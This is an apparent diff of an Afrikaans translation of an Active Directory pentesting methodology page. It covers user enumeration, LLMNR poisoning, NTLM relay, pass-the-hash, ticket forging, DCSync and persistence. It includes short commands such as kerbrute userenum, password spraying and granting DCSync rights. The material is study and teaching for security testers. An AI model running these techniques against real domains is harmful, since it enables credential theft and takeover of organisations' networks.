4. **Gids Federasie Dienste** Verskaf **enkele-aanmelding** vermoëns om gebruikers oor verskeie webtoepassings in 'n enkele sessie te verifieer.
5. **Regte Bestuur** Help om kopiereg materiaal te beskerm deur die ongeoorloofde verspreiding en gebruik daarvan te reguleer.
@ -29,10 +29,10 @@ Vir 'n meer gedetailleerde verduideliking kyk: [**TechTerms - Aktiewe Gids Defin
### **Kerberos Verifikasie**
Om te leer hoe om 'n **AD** aan te val, moet jy die **Kerberos verifikasie proses** regtig goed **begryp**.\
Om te leer hoe om 'n **AD** te **aanval**, moet jy die **Kerberos verifikasie proses** regtig goed **begryp**.\
[**Lees hierdie bladsy as jy nog nie weet hoe dit werk nie.**](kerberos-authentication.md)
## Spiekbrief
## Cheat Sheet
Jy kan baie na [https://wadcoms.github.io/](https://wadcoms.github.io) neem om 'n vinnige oorsig te kry van watter opdragte jy kan uitvoer om 'n AD te enumerate/exploit.
@ -41,7 +41,7 @@ Jy kan baie na [https://wadcoms.github.io/](https://wadcoms.github.io) neem om '
As jy net toegang het tot 'n AD omgewing maar jy het geen krediete/sessies nie, kan jy:
- **Pentest die netwerk:**
- Skandeer die netwerk, vind masjiene en oop poorte en probeer om **kwesbaarhede** te **ontgin** of **krediete** daaruit te **onttrek** (byvoorbeeld, [drukkers kan baie interessante teikens wees](ad-information-in-printers.md)).
- Skandeer die netwerk, vind masjiene en oop poorte en probeer om **kwesbaarhede** te **ontgin** of **krediete** van hulle te **onttrek** (byvoorbeeld, [drukker kan baie interessante teikens wees](ad-information-in-printers.md)).
- Die opsporing van DNS kan inligting oor sleutelbedieners in die domein gee soos web, drukker, gedeeltes, vpn, media, ens.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Kyk na die Algemene [**Pentesting Metodologie**](../../generic-methodologies-and-resources/pentesting-methodology.md) om meer inligting te vind oor hoe om dit te doen.
@ -67,9 +67,9 @@ As jy net toegang het tot 'n AD omgewing maar jy het geen krediete/sessies nie,
- Versamel krediete [**deur dienste te vervang met Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Toegang tot gasheer deur [**die relay aanval te misbruik**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Versamel krediete **deur** [**valse UPnP dienste met evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
- Trek gebruikersname/names uit interne dokumente, sosiale media, dienste (hoofsaaklik web) binne die domein omgewings en ook van die publiek beskikbaar.
- As jy die volledige name van maatskappywerkers vind, kan jy verskillende AD **gebruikersnaam konvensies** probeer (**[**lees dit**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Die mees algemene konvensies is: _NaamVan_, _Naam.Van_, _NamVan_ (3 letters van elkeen), _Nam.Van_, _NVaan_, _N.Van_, _VanNaam_, _Van.Naam_, _VanN_, _Van.N_, 3 _willekeurige letters en 3 willekeurige nommers_ (abc123).
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Trek gebruikersname/names uit interne dokumente, sosiale media, dienste (hoofsaaklik web) binne die domein omgewings en ook uit die publiek beskikbaar.
- As jy die volledige name van maatskappywerkers vind, kan jy verskillende AD **gebruikersnaam konvensies** probeer (**[**lees dit**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Die mees algemene konvensies is: _NaamVan_, _Naam.Van_, _NamVan_ (3 letters van elkeen), _Nam.Van_, _NVaan_, _N.Van_, _VanNaam_, _Van.Naam_, _VanN_, _Van.N_, 3 _ewekansige letters en 3 ewekansige nommers_ (abc123).
- Gereedskap:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -77,7 +77,7 @@ As jy net toegang het tot 'n AD omgewing maar jy het geen krediete/sessies nie,
### Gebruiker enumerasie
- **Anonieme SMB/LDAP enum:** Kontroleer die [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) en [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) bladsye.
- **Kerbrute enum**: Wanneer 'n **ongeldige gebruikersnaam aangevra** word, sal die bediener reageer met die **Kerberos fout** kode _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, wat ons in staat stel om te bepaal dat die gebruikersnaam ongeldig was. **Geldige gebruikersname** sal of die **TGT in 'n AS-REP** antwoord of die fout _KRB5KDC_ERR_PREAUTH_REQUIRED_ uitlok, wat aandui dat die gebruiker verplig is om voorverifikasie te doen.
- **Kerbrute enum**: Wanneer 'n **ongeldige gebruikersnaam aangevra** word, sal die bediener reageer met die **Kerberos fout** kode _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, wat ons in staat stel om te bepaal dat die gebruikersnaam ongeldig was. **Geldige gebruikersname** sal of die **TGT in 'n AS-REP** antwoord of die fout _KRB5KDC_ERR_PREAUTH_REQUIRED_ uitlok, wat aandui dat die gebruiker verplig is om vooraf-verifikasie te doen.
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -121,7 +121,7 @@ password-spraying.md
### LLMNR/NBT-NS Vergiftiging
Jy mag in staat wees om **uit te vind** van sommige uitdaging **hashes** om **vergiftiging** van sommige protokolle van die **netwerk** te kraak:
Jy mag dalk in staat wees om **uitdaging **hashes** te **verkry** om **vergiftiging** van sommige protokolle van die **netwerk** te kraak:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -129,11 +129,11 @@ Jy mag in staat wees om **uit te vind** van sommige uitdaging **hashes** om **ve
### NTML Relay
As jy daarin geslaag het om die aktiewe gids te enumereer, sal jy **meer e-posse en 'n beter begrip van die netwerk** hê. Jy mag in staat wees om NTML [**relay-aanvalle**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* te dwing om toegang tot die AD omgewing te kry.
As jy daarin geslaag het om die aktiewe gids te enumereer, sal jy **meer e-posse en 'n beter begrip van die netwerk** hê. Jy mag dalk in staat wees om NTML [**relay-aanvalle**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* te dwing om toegang tot die AD omgewing te kry.
### Steel NTLM Krediete
As jy **ander PC's of gedeeltes** met die **null of gas gebruiker** kan **toegang** kry, kan jy **lêers plaas** (soos 'n SCF-lêer) wat, as dit op een of ander manier toegang verkry, 'n **NTML-authentisering teen jou** sal **trigger** sodat jy die **NTLM uitdaging** kan steel om dit te kraak:
As jy **ander PC's of gedeeltes** met die **null of gas gebruiker** kan **toegang** kry, kan jy **lêers plaas** (soos 'n SCF-lêer) wat, as dit op een of ander manier toegang verkry, 'n **NTML-authentisering teen jou** sal **aktiveer** sodat jy die **NTLM-uitdaging** kan **steel** om dit te kraak:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -143,7 +143,7 @@ As jy **ander PC's of gedeeltes** met die **null of gas gebruiker** kan **toegan
Vir hierdie fase moet jy **die krediete of 'n sessie van 'n geldige domeinrekening gekompromitteer het.** As jy 'n paar geldige krediete of 'n shell as 'n domein gebruiker het, **moet jy onthou dat die opsies wat voorheen gegee is steeds opsies is om ander gebruikers te kompromitteer**.
Voordat jy die geverifieerde enumerasie begin, moet jy weet wat die **Kerberos dubbele hop probleem** is.
Voordat jy die geverifieerde enumerasie begin, moet jy weet wat die **Kerberos double hop probleem** is.
{{#ref}}
kerberos-double-hop-problem.md
@ -153,7 +153,7 @@ kerberos-double-hop-problem.md
Om 'n rekening te kompromitteer is 'n **groot stap om die hele domein te begin kompromitteer**, want jy gaan in staat wees om die **Aktiewe Gids Enumerasie te begin:**
Ten opsigte van [**ASREPRoast**](asreproast.md) kan jy nou elke moontlike kwesbare gebruiker vind, en ten opsigte van [**Password Spraying**](password-spraying.md) kan jy 'n **lys van al die gebruikersname** kry en die wagwoord van die gekompromitteerde rekening probeer, leë wagwoorde en nuwe belowende wagwoorde.
Ten opsigte van [**ASREPRoast**](asreproast.md) kan jy nou elke moontlike kwesbare gebruiker vind, en ten opsigte van [**Password Spraying**](password-spraying.md) kan jy 'n **lys van al die gebruikersname** kry en die wagwoord van die gekompromitteerde rekening, leë wagwoorde en nuwe belowende wagwoorde probeer.
- Jy kan die [**CMD gebruik om 'n basiese rekonsiliasie te doen**](../basic-cmd-for-pentesters.md#domain-info)
- Jy kan ook [**powershell vir rekonsiliasie gebruik**](../basic-powershell-for-pentesters/index.html) wat meer stil sal wees
@ -162,14 +162,14 @@ Ten opsigte van [**ASREPRoast**](asreproast.md) kan jy nou elke moontlike kwesba
- **Ander geoutomatiseerde AD enumerasie hulpmiddels is:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS rekords van die AD**](ad-dns-records.md) aangesien dit dalk interessante inligting kan bevat.
- 'n **hulpmiddel met GUI** wat jy kan gebruik om die gids te enumereer is **AdExplorer.exe** van **SysInternal** Suite.
- Jy kan ook in die LDAP databasis soek met **ldapsearch** om na krediete in die velde _userPassword_ & _unixUserPassword_, of selfs vir _Description_ te kyk. cf. [Wagwoord in AD Gebruiker kommentaar op PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) vir ander metodes.
- Jy kan ook in die LDAP-databasis soek met **ldapsearch** om na krediete in die velde _userPassword_ & _unixUserPassword_, of selfs vir _Description_ te kyk. cf. [Wagwoord in AD Gebruiker kommentaar op PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) vir ander metodes.
- As jy **Linux** gebruik, kan jy ook die domein enumereer met [**pywerview**](https://github.com/the-useless-one/pywerview).
- Jy kan ook probeer om geoutomatiseerde hulpmiddels soos:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Alle domein gebruikers onttrek**
Dit is baie maklik om al die domein gebruikersname van Windows te verkry (`net user /domain`, `Get-DomainUser` of `wmic useraccount get name,sid`). In Linux kan jy gebruik: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` of `enum4linux -a -u "user" -p "password" <DC IP>`
Dit is baie maklik om al die domein gebruikersname van Windows te verkry (`net user /domain` ,`Get-DomainUser` of `wmic useraccount get name,sid`). In Linux kan jy gebruik: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` of `enum4linux -a -u "user" -p "password" <DC IP>`
> Alhoewel hierdie Enumerasie afdeling klein lyk, is dit die belangrikste deel van alles. Toegang die skakels (hoofsaaklik die een van cmd, powershell, powerview en BloodHound), leer hoe om 'n domein te enumereer en oefen totdat jy gemaklik voel. Tydens 'n assessering sal dit die sleutelmoment wees om jou pad na DA te vind of om te besluit dat daar niks gedoen kan word nie.
@ -185,11 +185,11 @@ kerberoast.md
### Afgeleë verbinding (RDP, SSH, FTP, Win-RM, ens)
Sodra jy 'n paar krediete verkry het, kan jy kyk of jy toegang het tot enige **masjien**. In daardie verband kan jy **CrackMapExec** gebruik om te probeer om op verskeie bedieners met verskillende protokolle te verbind, ooreenkomstig jou poort skanderings.
Sodra jy 'n paar krediete verkry het, kan jy kyk of jy toegang tot enige **masjien** het. In daardie verband kan jy **CrackMapExec** gebruik om te probeer om op verskeie bedieners met verskillende protokolle te verbind, ooreenkomstig jou poort skanderings.
### Plaaslike Privilege Escalation
As jy gekompromitteerde krediete of 'n sessie as 'n gewone domein gebruiker het en jy het **toegang** met hierdie gebruiker tot **enige masjien in die domein**, moet jy probeer om jou pad te vind om **privileges plaaslik te verhoog en krediete te soek**. Dit is omdat jy slegs met plaaslike administrateur privileges in staat sal wees om **hashes van ander gebruikers** in geheue (LSASS) en plaaslik (SAM) te **dump**.
As jy gekompromitteerde krediete of 'n sessie as 'n gewone domein gebruiker het en jy het **toegang** met hierdie gebruiker tot **enige masjien in die domein**, moet jy probeer om jou pad te vind om **privileges plaaslik te verhoog en krediete te soek**. Dit is omdat jy slegs met plaaslike administrateurprivileges in staat sal wees om **hashes van ander gebruikers** in geheue (LSASS) en plaaslik (SAM) te **dump**.
Daar is 'n volledige bladsy in hierdie boek oor [**plaaslike privilege escalasie in Windows**](../windows-local-privilege-escalation/index.html) en 'n [**kontrolelys**](../checklist-windows-privilege-escalation.md). Moet ook nie vergeet om [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) te gebruik nie.
@ -242,12 +242,12 @@ Dan is dit tyd om al die hashes in geheue en plaaslik te dump.\
### Pass the Hash
**Sodra jy die hash van 'n gebruiker het**, kan jy dit gebruik om **te verteenwoordig**.\
Jy moet 'n **gereedskap** gebruik wat die **NTLM-authentisering met** daardie **hash** sal **uitvoer** of jy kan 'n nuwe **sessielogin** skep en daardie **hash** binne die **LSASS** **inspuit**, sodat wanneer enige **NTLM-authentisering uitgevoer word**, daardie **hash gebruik sal word.** Die laaste opsie is wat mimikatz doen.\
Jy moet 'n **gereedskap** gebruik wat die **NTLM-authentisering met** daardie **hash** sal **uitvoer** of jy kan 'n nuwe **sessionlogon** skep en daardie **hash** binne die **LSASS** **injekteer**, sodat wanneer enige **NTLM-authentisering uitgevoer word**, daardie **hash gebruik sal word.** Die laaste opsie is wat mimikatz doen.\
[**Lees hierdie bladsy vir meer inligting.**](../ntlm/index.html#pass-the-hash)
### Over Pass the Hash/Pass the Key
Hierdie aanval is daarop gemik om **die gebruiker se NTLM-hash te gebruik om Kerberos-kaarte aan te vra**, as 'n alternatief vir die algemene Pass The Hash oor die NTLM-protokol. Daarom kan dit veral **nuttig wees in netwerke waar die NTLM-protokol gedeaktiveer is** en slegs **Kerberos toegelaat word** as authentikasieprotokol.
Hierdie aanval is daarop gemik om die **gebruikers NTLM-hash te gebruik om Kerberos-kaarte aan te vra**, as 'n alternatief vir die algemene Pass The Hash oor NTLM-protokol. Daarom kan dit veral **nuttig wees in netwerke waar die NTLM-protokol gedeaktiveer is** en slegs **Kerberos toegelaat word** as authentiseringsprotokol.
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
### Pass the Ticket
In die **Pass The Ticket (PTT)** aanvalmetode, **steel aanvallers 'n gebruiker se authentikasieticket** in plaas van hul wagwoord of hashwaardes. Hierdie gesteelde kaart word dan gebruik om die **gebruiker te verteenwoordig**, wat ongeoorloofde toegang tot hulpbronne en dienste binne 'n netwerk verkry.
In die **Pass The Ticket (PTT)** aanvalmetode, **steel aanvallers 'n gebruiker se authentiseringsticket** in plaas van hul wagwoord of hashwaardes. Hierdie gesteelde kaart word dan gebruik om die **gebruiker te verteenwoordig**, wat ongeoorloofde toegang tot hulpbronne en dienste binne 'n netwerk verkry.
{{#ref}}
pass-the-ticket.md
@ -263,7 +263,7 @@ pass-the-ticket.md
### Kredensiale Hergebruik
As jy die **hash** of **wagwoord** van 'n **lokale administrateur** het, moet jy probeer om **lokaal in te log** op ander **PC's** daarmee.
As jy die **hash** of **wagwoord** van 'n **lokale administrateur** het, moet jy probeer om **lokaal in te teken** op ander **PC's** daarmee.
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
@ -285,7 +285,7 @@ abusing-ad-mssql.md
### Onbeperkte Afvaardiging
As jy enige rekenaarobjek met die attribuut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) vind en jy het domein bevoegdhede op die rekenaar, sal jy in staat wees om TGT's uit die geheue van elke gebruiker wat op die rekenaar aanmeld, te dump.\
So, as 'n **Domein Admin op die rekenaar aanmeld**, sal jy in staat wees om sy TGT te dump en hom na te doen met [Pass the Ticket](pass-the-ticket.md).\
So, as 'n **Domein Admin op die rekenaar aanmeld**, sal jy in staat wees om sy TGT te dump en hom na te boots met [Pass the Ticket](pass-the-ticket.md).\
Danksy beperkte afvaardiging kan jy selfs 'n **Drukbediener outomaties kompromenteer** (hopelik sal dit 'n DC wees).
{{#ref}}
@ -294,8 +294,8 @@ unconstrained-delegation.md
### Beperkte Afvaardiging
As 'n gebruiker of rekenaar toegelaat word vir "Beperkte Afvaardiging" sal dit in staat wees om **enige gebruiker na te doen om toegang tot sekere dienste in 'n rekenaar te verkry**.\
Dan, as jy die **hash** van hierdie gebruiker/rekenaar **kompromenteer**, sal jy in staat wees om **enige gebruiker** (selfs domein admins) na te doen om toegang tot sekere dienste te verkry.
As 'n gebruiker of rekenaar toegelaat word vir "Beperkte Afvaardiging" sal dit in staat wees om **enige gebruiker na te boots om toegang tot sekere dienste in 'n rekenaar te verkry**.\
Dan, as jy die **hash** van hierdie gebruiker/rekenaar **kompromenteer**, sal jy in staat wees om **enige gebruiker** (selfs domein admins) na te boots om toegang tot sekere dienste te verkry.
{{#ref}}
constrained-delegation.md
@ -303,7 +303,7 @@ constrained-delegation.md
### Hulpbronne-gebaseerde Beperkte Afvaardiging
Om **WRITE** bevoegdheid op 'n Aktiewe Directory objek van 'n afgeleë rekenaar te hê, stel die verkryging van kode-uitvoering met **verhoogde bevoegdhede** moontlik:
Om **SKRYF** bevoegdheid op 'n Aktiewe Directory objek van 'n afgeleë rekenaar te hê, stel die verkryging van kode-uitvoering met **verhoogde bevoegdhede** moontlik:
{{#ref}}
resource-based-constrained-delegation.md
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
### Derdeparty sessies misbruik
As **ander gebruikers** die **gecompromitteerde** masjien **benader**, is dit moontlik om **geloofsbriewe uit die geheue te versamel** en selfs **beacons in hul prosesse in te spuit** om hulle na te doen.\
As **ander gebruikers** **toegang** tot die **gecompromitteerde** masjien het, is dit moontlik om **geloofsbriewe uit die geheue te versamel** en selfs **beacons in hul prosesse in te spuit** om hulle na te boots.\
Gewoonlik sal gebruikers die stelsel via RDP benader, so hier is hoe om 'n paar aanvalle oor derdeparty RDP-sessies uit te voer:
{{#ref}}
@ -362,7 +362,7 @@ ad-certificates/domain-escalation.md
### Dumping Domein Geloofsbriewe
Sodra jy **Domein Admin** of selfs beter **Enterprise Admin** bevoegdhede kry, kan jy die **domein databasis** dump: _ntds.dit_.
Sodra jy **Domein Admin** of selfs beter **Enterprise Admin** bevoegdhede kry, kan jy die **domeindatabasis** dump: _ntds.dit_.
[**Meer inligting oor DCSync aanval kan hier gevind word**](dcsync.md).
@ -391,27 +391,27 @@ Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
```
### Silwer Kaartjie
### Silwer Kaart
Die **Silwer Kaartjie aanval** skep 'n **legitieme Ticket Granting Service (TGS) kaartjie** vir 'n spesifieke diens deur die **NTLM hash** te gebruik (byvoorbeeld, die **hash van die PC rekening**). Hierdie metode word gebruik om **toegang tot die diensbevoegdhede** te verkry.
Die **Silwer Kaart aanval** skep 'n **legitieme Ticket Granting Service (TGS) kaart** vir 'n spesifieke diens deur die **NTLM hash** te gebruik (byvoorbeeld, die **hash van die PC rekening**). Hierdie metode word gebruik om **toegang tot die diensbevoegdhede** te verkry.
{{#ref}}
silver-ticket.md
{{#endref}}
### Goue Kaartjie
### Goue Kaart
'n **Goue Kaartjie aanval** behels dat 'n aanvaller toegang verkry tot die **NTLM hash van die krbtgt rekening** in 'n Aktiewe Directory (AD) omgewing. Hierdie rekening is spesiaal omdat dit gebruik word om alle **Ticket Granting Tickets (TGTs)** te teken, wat noodsaaklik is vir autentisering binne die AD netwerk.
'n **Goue Kaart aanval** behels dat 'n aanvaller toegang verkry tot die **NTLM hash van die krbtgt rekening** in 'n Aktiewe Directory (AD) omgewing. Hierdie rekening is spesiaal omdat dit gebruik word om alle **Ticket Granting Tickets (TGTs)** te teken, wat noodsaaklik is vir autentisering binne die AD netwerk.
Sodra die aanvaller hierdie hash verkry, kan hulle **TGTs** vir enige rekening wat hulle kies skep (Silwer kaartjie aanval).
Sodra die aanvaller hierdie hash verkry, kan hulle **TGTs** vir enige rekening wat hulle kies skep (Silwer kaart aanval).
{{#ref}}
golden-ticket.md
{{#endref}}
### Diamant Kaartjie
### Diamant Kaart
Hierdie is soos goue kaartjies wat op 'n manier vervals is wat **algemene goue kaartjie opsporingsmeganismes omseil**.
Hierdie is soos goue kaarte wat op 'n manier vervals is wat **algemene goue kaart opsporingsmeganismes omseil**.
{{#ref}}
diamond-ticket.md
@ -449,7 +449,7 @@ dsrm-credentials.md
### ACL Persistensie
Jy kan **spesiale bevoegdhede** aan 'n **gebruiker** oor sekere spesifieke domeinobjekte gee wat die gebruiker sal laat **bevoegdhede in die toekoms verhoog**.
Jy kan **sekere spesiale bevoegdhede** aan 'n **gebruiker** oor sekere spesifieke domeinobjekte gee wat die gebruiker sal laat **bevoegdhede in die toekoms verhoog**.
{{#ref}}
acl-persistence-abuse/
@ -474,7 +474,7 @@ skeleton-key.md
### Pasgemaakte SSP
[Leer wat 'n SSP (Security Support Provider) hier is.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
Jy kan jou **eie SSP** skep om die **geloofsbriewe** wat gebruik word om toegang tot die masjien te verkry, in **duidelike teks** te **vang**.
Jy kan jou **eie SSP** skep om **in duidelike teks** die **geloofsbriewe** wat gebruik word om toegang tot die masjien te verkry, te **vang**.
{{#ref}}
custom-ssp.md
@ -482,7 +482,7 @@ custom-ssp.md
### DCShadow
Dit registreer 'n **nuwe Domein Beheerder** in die AD en gebruik dit om **attribuutte** (SIDHistory, SPNs...) op gespesifiseerde objek te **druk** **sonder** om enige **logs** rakende die **wysigings** te laat. Jy **het DA** bevoegdhede nodig en moet binne die **worteldomein** wees.\
Dit registreer 'n **nuwe Domein Beheerder** in die AD en gebruik dit om **attribuutte** (SIDHistory, SPNs...) op gespesifiseerde objek te **druk** **sonder** om enige **logs** rakende die **wysigings** te laat. Jy **het DA** bevoegdhede en moet binne die **worteldomein** wees.\
Let daarop dat as jy verkeerde data gebruik, baie lelike logs sal verskyn.
{{#ref}}
@ -500,20 +500,20 @@ laps.md
## Bos Bevoegdheid Verhoging - Domein Vertroue
Microsoft beskou die **Bos** as die sekuriteitsgrens. Dit impliseer dat **die kompromitering van 'n enkele domein moontlik kan lei tot die hele Bos wat gecompromitteer word**.
Microsoft beskou die **Bos** as die sekuriteitsgrens. Dit impliseer dat **die kompromitering van 'n enkele domein potensieel kan lei tot die hele Bos wat gecompromitteer word**.
### Basiese Inligting
'n [**domein vertroue**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) is 'n sekuriteitsmeganisme wat 'n gebruiker van een **domein** in staat stel om toegang tot hulpbronne in 'n ander **domein** te verkry. Dit skep essensieel 'n skakel tussen die autentiseringstelsels van die twee domeine, wat autentiseringverifikasies naatloos laat vloei. Wanneer domeine 'n vertroue opstel, ruil hulle spesifieke **sleutels** uit en hou dit binne hul **Domein Beheerders (DCs)**, wat noodsaaklik is vir die integriteit van die vertroue.
'n [**domein vertroue**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) is 'n sekuriteitsmeganisme wat 'n gebruiker van een **domein** in staat stel om toegang tot hulpbronne in 'n ander **domein** te verkry. Dit skep essensieel 'n skakeling tussen die autentiseringstelsels van die twee domeine, wat autentiseringverifikasies naatloos laat vloei. Wanneer domeine 'n vertroue opstel, ruil hulle spesifieke **sleutels** uit en hou dit binne hul **Domein Beheerders (DCs)**, wat noodsaaklik is vir die integriteit van die vertroue.
In 'n tipiese scenario, as 'n gebruiker 'n diens in 'n **vertroude domein** wil benader, moet hulle eers 'n spesiale kaartjie aan vra wat bekend staan as 'n **inter-realm TGT** van hul eie domein se DC. Hierdie TGT is versleuteld met 'n gedeelde **sleutel** wat albei domeine ooreengekom het. Die gebruiker bied dan hierdie TGT aan die **DC van die vertroude domein** aan om 'n diens kaartjie (**TGS**) te verkry. Na suksesvolle validasie van die inter-realm TGT deur die vertroude domein se DC, stel dit 'n TGS uit, wat die gebruiker toegang tot die diens verleen.
In 'n tipiese scenario, as 'n gebruiker 'n diens in 'n **vertroude domein** wil benader, moet hulle eers 'n spesiale kaart aan vra wat bekend staan as 'n **inter-realm TGT** van hul eie domein se DC. Hierdie TGT is versleuteld met 'n gedeelde **sleutel** wat albei domeine ooreengekom het. Die gebruiker bied dan hierdie TGT aan die **DC van die vertroude domein** aan om 'n dienskaart (**TGS**) te verkry. Na suksesvolle validasie van die inter-realm TGT deur die vertroude domein se DC, stel dit 'n TGS uit, wat die gebruiker toegang tot die diens verleen.
**Stappe**:
1. 'n **klient rekenaar** in **Domein 1** begin die proses deur sy **NTLM hash** te gebruik om 'n **Ticket Granting Ticket (TGT)** van sy **Domein Beheerder (DC1)** aan te vra.
2. DC1 stel 'n nuwe TGT uit as die klient suksesvol geverifieer word.
3. Die klient vra dan 'n **inter-realm TGT** van DC1 aan, wat nodig is om toegang tot hulpbronne in **Domein 2** te verkry.
4. Die inter-realm TGT is versleuteld met 'n **vertrouensleutel** wat tussen DC1 en DC2 as deel van die twee-rigting domein vertroue gedeel word.
4. Die inter-realm TGT is versleuteld met 'n **vertrouensleutel** wat tussen DC1 en DC2 gedeel word as deel van die twee-rigting domein vertroue.
5. Die klient neem die inter-realm TGT na **Domein 2 se Domein Beheerder (DC2)**.
6. DC2 verifieer die inter-realm TGT met sy gedeelde vertrouensleutel en, as dit geldig is, stel 'n **Ticket Granting Service (TGS)** uit vir die bediener in Domein 2 wat die klient wil benader.
7. Laastens bied die klient hierdie TGS aan die bediener aan, wat versleuteld is met die bediener se rekening hash, om toegang tot die diens in Domein 2 te verkry.
@ -522,27 +522,27 @@ In 'n tipiese scenario, as 'n gebruiker 'n diens in 'n **vertroude domein** wil
Dit is belangrik om op te let dat **'n vertroue 1 rigting of 2 rigtings kan wees**. In die 2 rigtings opsies, sal albei domeine mekaar vertrou, maar in die **1 rigting** vertrouensverhouding sal een van die domeine die **vertroude** en die ander die **vertrouende** domein wees. In die laaste geval, **sal jy slegs in staat wees om toegang tot hulpbronne binne die vertrouende domein van die vertroude een te verkry**.
As Domein A Domein B vertrou, is A die vertrouende domein en B is die vertroude een. Boonop, in **Domein A**, sou dit 'n **Uitgaande vertroue** wees; en in **Domein B**, sou dit 'n **Inkomende vertroue** wees.
As Domein A Domein B vertrou, is A die vertrouende domein en B die vertroude een. Boonop, in **Domein A**, sou dit 'n **Uitgaande vertroue** wees; en in **Domein B**, sou dit 'n **Inkomende vertroue** wees.
**Verskillende vertrouende verhoudings**
- **Ouers-Kind Vertroue**: Dit is 'n algemene opstelling binne dieselfde bos, waar 'n kinderdomein outomaties 'n twee-rigting transitive vertroue met sy ouerdomein het. Essensieel beteken dit dat autentisering versoeke naatloos tussen die ouer en die kind kan vloei.
- **Kruiskoppel Vertroue**: Bekend as "kortpad vertroue," word hierdie tussen kinderdomeine gevestig om verwysingsprosesse te versnel. In komplekse bosse moet autentisering verwysings tipies tot die boswortel reis en dan af na die teikendomein. Deur kruiskoppels te skep, word die reis verkort, wat veral voordelig is in geografies verspreide omgewings.
- **Kruiskoppel Vertroue**: Bekend as "kortpad vertroue," hierdie word tussen kinderdomeine gevestig om verwysingsprosesse te versnel. In komplekse bosse moet autentisering verwysings tipies tot by die boswortel reis en dan af na die teikendomein. Deur kruiskoppels te skep, word die reis verkort, wat veral voordelig is in geografies verspreide omgewings.
- **Buitelandse Vertroue**: Hierdie word tussen verskillende, nie-verwante domeine opgestel en is nie-transitief van aard. Volgens [Microsoft se dokumentasie](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), is buitelandse vertroue nuttig vir toegang tot hulpbronne in 'n domein buite die huidige bos wat nie deur 'n bosvertroue verbind is nie. Sekuriteit word versterk deur SID filtrering met buitelandse vertroue.
- **Boomwortel Vertroue**: Hierdie vertroue word outomaties gevestig tussen die bosworteldomein en 'n nuut bygevoegde boomwortel. Alhoewel dit nie algemeen teëgekom word nie, is boomwortel vertroue belangrik vir die byvoeging van nuwe domein bome aan 'n bos, wat hulle in staat stel om 'n unieke domeinnaam te handhaaf en twee-rigting transitiwiteit te verseker. Meer inligting kan gevind word in [Microsoft se gids](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Boomwortel Vertroue**: Hierdie vertroue word outomaties gevestig tussen die bosworteldomein en 'n nuut bygevoegde boomwortel. Alhoewel dit nie algemeen teëgekom word nie, is boomwortel vertroue belangrik vir die byvoeging van nuwe domein bome aan 'n bos, wat hulle in staat stel om 'n unieke domeinnaam te handhaaf en twee-rigting transitiwiteit te verseker. Meer inligting kan in [Microsoft se gids](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) gevind word.
